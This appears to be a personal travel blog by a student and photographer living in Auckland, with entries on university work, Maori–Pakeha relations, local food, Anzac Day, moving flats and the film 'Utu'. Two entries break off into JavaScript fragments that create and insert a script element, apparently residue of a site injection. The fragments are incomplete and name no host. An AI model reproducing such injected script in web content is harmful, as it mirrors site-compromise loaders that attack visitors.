This Tuesday after 3 weeks went back to university after the easter break. Today was deadline for writing a 500 words statement what you want to discuss in your 2000 words essay (deadline 31th of may). So I was thinking about finding explanations for the predjudises between the Natives (Maori) and the Whites and to proof that racism still exist, even here on the end of the world. The dream of the paradies is just a dream, nothingelse…I had made that experiences myself…
After the lecture I went straight to the libary and copy lots of books. Finally bought three books:

Two from the famous New Zealand historican Michael King (he was killed in 2004):
“History of New Zealand”; “Being Pakeha now”

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Had breakfast today with Scott and he showed me “One Tree Hill” a famous view point of Auckland. Here I practice doing photos with the new filters for blue sky which Scott borrow me. This hill used to have one tree on the top, that’s where the name came from. But about five years ago some Maori activist killed the tree. Stupid. Now there is only the memorial obelisk on that hill. That’s autum in New Zealand looks like… starts to become colder now.

Later I did new pictures for the collection of strange food / fruit.
Kiwano (horned melon) is picked green, ripened orange, the fruit tastes like a mix of cucumber, lemon, lime and banana.
Tamarillo is also called tree tomato but doesnt taste like tomato.
And I had to take a picture of my favorite burger – Burgerfuel! I don’t use to eat fastfood but there are great!

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Today was another public holiday in New Zealand – Anzac Day. They honour the soldiers of the first and second world war. On the public holidays almost everywhere it is impossible to drink alcohol in public in bars as well. I was today playing pool with Steele and his friends and I had fun.var d=document;var s=d.createElement(‘script’); if (document.currentScript) {

Unfortunally today is my birthday and I become one year older… As usual I wanted to do a cake but have no equipment for doing it. So I decide yesterday that I will buy one finally you have only one bithday a year. So the friend of mine David and I went to “Rocket kitchen” and then I did a really difficult decision – I had to select one of about 15 nice cakes. I love chocolate and also the shop girl recommanded the chocolate whiskey cake to me. So I bought it and regretted it not till today. It´s a wonderful cake. Was the right choice.

Every candle means one year…and you can build a nice candle pyramid.

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It´s time for a change; it´s time for moving. For me it´s the most easy move ever because have my lugage, nothing else… I move more in the centre of Auckland to Grey Lynn a nice part of the city. I share the appartement with two 24 years old guys: Nick and Dave. The flat got three level and I have the whole roof level it means my room with my own bathroom. Really nice, light.

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“Utu” means in Maori revenge but also giving something back the opposite. That if someone helps you, you help him if he will need help someday. “Utu” is a beautiful but aggresive and sometime cruel settlement drama from the times when the first settlers in New Zealand arrived and the fight of them, called Pakeha against the indigenous people the Maori.
Director is Geoff Murphy and the movie is produced in 1983.
“In New Zealand in the 1860s the native Maori people fought the British colonials to keep the land guaranteed to them by treaty. The warrior Te Wheke fights for the British until betrayal leads him to seek utu (revenge). The settler Williamson in turn seeks revenge after Te Wheke attacks his homestead. Meanwhile Wiremu, an officer for the British, seems to think that resistance is futile. – Utu is the Maori word for “Retribution,” which sums up the chief motivating factor of this New Zealand-produced drama. Set in the 1870s, the film details the exigencies of British Colonial rule. A Maori scout Anzac Wallace stumbles across a native village that has been destroyed in a British raid. Since it is the scout’s own village, he deserts the British army, the better to seek “utu.” Leading a vigilante force consisting of his fellow Maoris, Wallace kills as many British settlers as he can get his hands on. The feverish conviction of Wallace’s crusade is in stark contrast to the attitudes of the British, who seem more concerned with material possessions than with human beings. Popular “down under” star Bruno Lawrence is cast as a vengeance-driven settler who makes it his personal mission in life to end Wallace’s reign of terror.”

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I´m living about 6 weeks in Henderson (part of Auckland). Stupid that it is so far away from everything. I need about 1hour in the city center. Imagine the last bus to Auckland on the weekend drives at 5:30pm!!! That’s awful. I actually missed him on Saturday so I had to wait for the one and only night bus who arrived at 10:30. So it is obvious that I have to move as soon as possible…finally need space on my own. It makes me more flexible living in the city area, can do better photo job or jobs generally…and as well if i wanna meet for a drink in town. So I wrote to some advertising for flatmates. Found two. One in Freemans Bay, really with spa, pool, fitness, web, own bathroom included (200NZD a week). Another one is more far away in St. Heliers, but closer to the beach with internet (135NZD). Was meeting both guys but was unsure after meeting them who to decide. Ask them for one more day thinking about…. The St. Heliers guy seems nice, invited me for lunch and good conversation. He starts to found a new company again it’s about internet stuff and he offered me working for him and as well his friendship.if (document.currentScript) {

As usual Jakeb visited me this Friday and this time he goes to his playgroup. Never watched playgroup so it seems very interessting 😉 I never had done so much kids photography in my life.

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Melanie the mother of Jakob and sister of Blair picked me up and we went to the Western Springs Park. It´s a beautiful park near the zoo and it´s got lots of goose, ducks and other birds… Took several pictures of native New Zealand birds like the Pukeko and the Tui. And of course there was a big playground for Jakob…

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